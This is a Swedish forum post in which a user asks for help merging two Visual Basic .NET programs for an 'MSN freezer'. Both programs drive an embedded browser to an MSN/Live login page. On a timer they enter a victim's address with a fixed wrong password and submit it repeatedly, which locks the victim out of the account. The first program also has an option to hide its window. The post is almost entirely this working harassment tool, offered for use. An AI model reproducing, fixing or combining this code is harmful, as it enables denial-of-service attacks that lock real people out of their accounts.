nu behöver jag hjälp igen :/??
jag håller på att göra en msn frysare :)
men har lite problem med koderna :S
tänkte sätta i hop 2 koder med varan men de blir inte bra :S
här är dom..
kod 1.
Imports System.Threading.Thread
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
WebBrowser1.Navigate(" http://mobile.msn.com/hm/folder.phpx")
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
Label3.Text = "Freezing..."
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
On Error GoTo errordetected
WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))
WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))
Sleep(2000)
WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")
GoTo done
errordetected:
Label3.Text = "Frozen!"
WebBrowser1.Navigate(" http://mobile.msn.com/hm/folder.phpx")
done:
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Label3.Text = "Ready"
MsgBox("MSN UnFrozen!")
Timer1.Enabled = False
End Sub
Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
If CheckBox1.Checked = True Then
Me.Hide()
End If
End Sub
End Class
kod 2.
Imports System.Threading.Thread
Public Class Form1
Dim percent As Integer
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
percent = 0
Label3.Text = "Frezing...[" & percent & "%]"
timer1.start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
percent += 5
Label3.Text = "Frezing...[" & percent & "%]"
On Error GoTo error1
WebBrowser1.Document.GetElementById("PasswordTextbox").SetAttribute("value", "xyzhdnwnwdsskjsjk")
WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", TextBox1.Text)
Sleep(2000)
WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")
error1: Label3.Text = "Frozen"
WebBrowser1.Navigate(" https://mid.live.com/si/login.aspx")
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
Label3.Text = "Ready"
MsgBox("UnFreezed")
End Sub
End Class
Musik -> Lo Key
